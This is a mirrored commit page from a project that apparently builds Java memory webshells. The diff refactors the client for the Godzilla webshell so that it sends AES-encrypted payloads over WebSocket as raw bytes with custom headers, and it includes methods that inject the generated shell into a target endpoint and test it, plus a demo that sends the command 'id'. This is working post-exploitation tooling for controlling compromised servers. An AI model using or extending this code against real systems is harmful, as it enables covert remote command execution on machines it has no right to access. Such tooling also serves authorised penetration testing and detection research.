archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

refactor: change godzilla websocket base64 to raw

Browse Source
This commit is contained in:
ReaJason
2026-01-18 23:49:41 +08:00
parent 0296705a87
commit 548990b7cc
14 changed files with 128 additions and 61 deletions
Download Patch File Download Diff File Expand all files Collapse all files
tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java
+11
View File
@@ -6,6 +6,7 @@ import org.java_websocket.handshake.ServerHandshake;
import java.net.URI;
import java.nio.ByteBuffer;
import java.util.Map;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
@@ -22,6 +23,10 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
super(serverUri);
}
public BlockingJavaWebSocketClient(URI serverUri, Map<String, String> httpHeaders) {
super(serverUri, httpHeaders);
}
@Override
public void onOpen(ServerHandshake handshake) {
System.out.println("连接成功");
@@ -133,6 +138,12 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
return blockingJavaWebSocketClient.sendRequest(message);
}
@SneakyThrows
public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message, Map<String, String> httpHeaders) {
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint), httpHeaders);
return blockingJavaWebSocketClient.sendRequest(message);
}
public static void main(String[] args) {
String uri = "ws://localhost:8082/app/fuck";
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java
+11 -19
View File
@@ -17,6 +17,7 @@ import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.net.URLDecoder;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
@@ -177,6 +178,7 @@ public class GodzillaManager implements Closeable {
return client.newCall(builder.build()).execute();
}
@SneakyThrows
public boolean start() {
byte[] bytes = generateGodzilla();
if (isHttp()) {
@@ -189,19 +191,12 @@ public class GodzillaManager implements Closeable {
return true;
}
System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
}
}
if (isWs()) {
try {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
return true;
} catch (Exception e) {
e.printStackTrace();
}
byte[] aes = aes(this.key, bytes, true);
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
return true;
}
return false;
}
@@ -213,11 +208,9 @@ public class GodzillaManager implements Closeable {
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
return false;
} catch (IOException e) {
@@ -228,10 +221,9 @@ public class GodzillaManager implements Closeable {
if (isWs()) {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
if(StringUtils.isNoneBlank(response)){
byte[] x = aes(key, Base64.decodeBase64(response), false);
byte[] response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers);
if (response != null) {
byte[] x = aes(key, response, false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
}